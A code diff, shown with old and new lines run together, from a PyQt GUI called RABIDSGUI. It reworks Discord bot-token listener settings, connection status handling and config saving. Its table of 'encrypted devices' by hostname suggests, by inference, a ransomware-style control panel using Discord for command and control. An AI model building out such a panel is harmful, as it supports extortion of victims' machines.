if self.discord_thread and self.discord_thread.isRunning(): if self.discord_thread and self.discord_thread.isRunning():
self.discord_thread.stop() self.discord_thread.stop()
self.discord_thread.quit()
self.discord_thread.wait()
self.discord_thread = None
self.toggle_listener_btn.setText("Connect") self.toggle_listener_btn.setText("Connect")
self.listener_token_edit.setEnabled(True)
self.listener_creator_id_edit.setEnabled(True)
self.log_message("Discord listener disconnected.", "system") self.log_message("Discord listener disconnected.", "system")
else: else:
token = self.listener_token_edit.text().strip() token = self.settings_discord_token_edit.text().strip()
if not token: if not token:
self.log_message("Error: Discord listener bot token is required.", "error") self.log_message("Error: Discord listener bot token is required.", "error")
self.tab_widget.setCurrentIndex(1) self.tab_widget.setCurrentIndex(self.tab_widget.indexOf(self.tab_widget.findChild(QWidget, "SETTINGS")))
return return
creator_id = self.listener_creator_id_edit.text().strip() creator_id = self.settings_listener_creator_id_edit.text().strip()
if self.discord_thread and self.discord_thread.isRunning(): if self.discord_thread and self.discord_thread.isRunning():
self.log_message("Listener is already running.", "system") self.log_message("Listener is already running.", "system")
@ -1313,8 +1534,11 @@ class RABIDSGUI(QMainWindow):
self.discord_thread.device_status_update.connect(self.update_device_status) self.discord_thread.device_status_update.connect(self.update_device_status)
self.discord_thread.start() self.discord_thread.start()
self.toggle_listener_btn.setText("Disconnect") self.toggle_listener_btn.setText("Disconnect")
self.listener_token_edit.setEnabled(False)
self.listener_creator_id_edit.setEnabled(False) def on_discord_listener_status_changed(self, is_connected):
self.toggle_listener_btn.setText("Disconnect" if is_connected else "Connect")
if not is_connected and self.discord_thread:
self.discord_thread = None
def refresh_discord_listener(self): def refresh_discord_listener(self):
if self.discord_thread and self.discord_thread.isRunning(): if self.discord_thread and self.discord_thread.isRunning():
@ -1330,9 +1554,7 @@ class RABIDSGUI(QMainWindow):
if "failed" in status: if "failed" in status:
self.toggle_listener_btn.setText("Connect") self.toggle_listener_btn.setText("Connect")
self.toggle_listener_btn.setEnabled(True) self.toggle_listener_btn.setEnabled(True)
self.listener_token_edit.setEnabled(True) self.on_discord_listener_status_changed(False)
self.listener_creator_id_edit.setEnabled(True)
for row in range(self.encrypted_devices_table.rowCount()): for row in range(self.encrypted_devices_table.rowCount()):
item = self.encrypted_devices_table.item(row, 0) item = self.encrypted_devices_table.item(row, 0)
if item and item.text() == hostname: if item and item.text() == hostname:
@ -1397,8 +1619,8 @@ class RABIDSGUI(QMainWindow):
"output_dir": self.restore_output_dir_edit.text() "output_dir": self.restore_output_dir_edit.text()
}, },
"listener": { "listener": {
"token": self.listener_token_edit.text(), "token": self.settings_discord_token_edit.text(),
"creator_id": self.listener_creator_id_edit.text() "creator_id": self.settings_listener_creator_id_edit.text()
} }
} }
try: try:
@ -1438,8 +1660,8 @@ class RABIDSGUI(QMainWindow):
self.restore_output_dir_edit.setText(gc_cfg.get("output_dir", "")) self.restore_output_dir_edit.setText(gc_cfg.get("output_dir", ""))
listener_cfg = config.get("listener", {}) listener_cfg = config.get("listener", {})
self.listener_token_edit.setText(listener_cfg.get("token", "")) self.settings_discord_token_edit.setText(listener_cfg.get("token", ""))
self.listener_creator_id_edit.setText(listener_cfg.get("creator_id", "")) self.settings_listener_creator_id_edit.setText(listener_cfg.get("creator_id", ""))
except (json.JSONDecodeError, KeyError) as e: except (json.JSONDecodeError, KeyError) as e:
print(f"Error loading settings from config file: {e}") print(f"Error loading settings from config file: {e}")